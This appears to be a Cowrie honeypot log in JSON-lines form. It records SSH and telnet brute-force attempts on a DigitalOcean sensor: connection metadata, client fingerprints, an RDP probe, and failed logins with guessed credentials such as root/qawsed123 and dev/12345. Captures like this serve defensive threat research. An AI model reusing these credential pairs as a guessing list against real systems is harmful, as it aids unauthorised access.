{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:37.174811Z","src_ip":"200.175.61.207","session":"4ed7dfc0fcdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1963","message":"login attempt [root/1963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:37.792341Z","src_ip":"200.175.61.207","session":"4ed7dfc0fcdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:38.942311Z","src_ip":"200.175.61.207","session":"4ed7dfc0fcdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.3126745223999,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:46.026579Z","src_ip":"186.195.16.41","session":"e03c41df8471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b0be2f9de5","protocol":"telnet","message":"New connection: 192.119.13.58:58432 (10.17.0.5:23) [session: c9b0be2f9de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:55.978385Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":52144,"dst_ip":"10.17.0.5","dst_port":22,"session":"02e5cf960d0f","protocol":"ssh","message":"New connection: 193.37.70.224:52144 (10.17.0.5:22) [session: 02e5cf960d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.101603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.108134Z","src_ip":"193.37.70.224","session":"02e5cf960d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.200681Z","src_ip":"193.37.70.224","session":"02e5cf960d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":42684,"dst_ip":"159.203.135.109","dst_port":22,"session":"eeaebc91000d","protocol":"ssh","message":"New connection: 102.223.92.101:42684 (159.203.135.109:22) [session: eeaebc91000d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.220245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.226308Z","src_ip":"102.223.92.101","session":"eeaebc91000d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.399767Z","src_ip":"102.223.92.101","session":"eeaebc91000d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsed123","message":"login attempt [root/qawsed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:04.482358Z","src_ip":"193.37.70.224","session":"02e5cf960d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wc123456","message":"login attempt [root/Wc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:05.120447Z","src_ip":"102.223.92.101","session":"eeaebc91000d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:05.582660Z","src_ip":"193.37.70.224","session":"02e5cf960d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.5811505317688,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:05.642158Z","src_ip":"192.119.13.58","session":"15e143ab807e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":41738,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5dfbf30c2a0","protocol":"ssh","message":"New connection: 158.178.141.16:41738 (159.203.135.109:22) [session: e5dfbf30c2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:06.290148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:06.298094Z","src_ip":"158.178.141.16","session":"e5dfbf30c2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:06.304924Z","src_ip":"102.223.92.101","session":"eeaebc91000d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:06.507666Z","src_ip":"158.178.141.16","session":"e5dfbf30c2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2024","message":"login attempt [root/teste2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:07.374254Z","src_ip":"158.178.141.16","session":"e5dfbf30c2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:08.587849Z","src_ip":"158.178.141.16","session":"e5dfbf30c2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":49292,"dst_ip":"10.17.0.5","dst_port":22,"session":"e32e2f667c50","protocol":"ssh","message":"New connection: 185.92.182.129:49292 (10.17.0.5:22) [session: e32e2f667c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:09.530528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:09.535722Z","src_ip":"185.92.182.129","session":"e32e2f667c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:09.572240Z","src_ip":"185.92.182.129","session":"e32e2f667c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$word","message":"login attempt [user/P@$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:09.734862Z","src_ip":"185.92.182.129","session":"e32e2f667c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:10.774198Z","src_ip":"185.92.182.129","session":"e32e2f667c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":24416,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c99cc61a9fa","protocol":"ssh","message":"New connection: 38.93.206.2:24416 (159.203.135.109:22) [session: 0c99cc61a9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:12.367172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:12.372272Z","src_ip":"38.93.206.2","session":"0c99cc61a9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:12.422945Z","src_ip":"38.93.206.2","session":"0c99cc61a9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbrecz","message":"login attempt [root/dbrecz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:12.575757Z","src_ip":"38.93.206.2","session":"0c99cc61a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:13.629824Z","src_ip":"38.93.206.2","session":"0c99cc61a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":46754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5685cbe6505e","protocol":"ssh","message":"New connection: 49.51.202.114:46754 (159.203.135.109:22) [session: 5685cbe6505e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:31.243537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:31.248944Z","src_ip":"49.51.202.114","session":"5685cbe6505e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:31.320949Z","src_ip":"49.51.202.114","session":"5685cbe6505e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345","message":"login attempt [dev/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:31.628754Z","src_ip":"49.51.202.114","session":"5685cbe6505e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:32.701369Z","src_ip":"49.51.202.114","session":"5685cbe6505e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62628,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5587dc802f4","protocol":"ssh","message":"New connection: 152.42.212.128:62628 (159.203.135.109:22) [session: e5587dc802f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:32.844779Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:32.850588Z","src_ip":"152.42.212.128","session":"e5587dc802f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:32.854337Z","src_ip":"152.42.212.128","session":"e5587dc802f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.60682415962219,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:34.585061Z","src_ip":"192.119.13.58","session":"c9b0be2f9de5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60402,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f811259338","protocol":"ssh","message":"New connection: 194.59.206.2:60402 (159.203.135.109:22) [session: 89f811259338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:37.914249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:37.919014Z","src_ip":"194.59.206.2","session":"89f811259338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:38.009308Z","src_ip":"194.59.206.2","session":"89f811259338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:38.200958Z","src_ip":"194.59.206.2","session":"89f811259338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":53506,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d10e543c2b","protocol":"ssh","message":"New connection: 158.178.141.16:53506 (159.203.135.109:22) [session: 84d10e543c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:49.799702Z"}
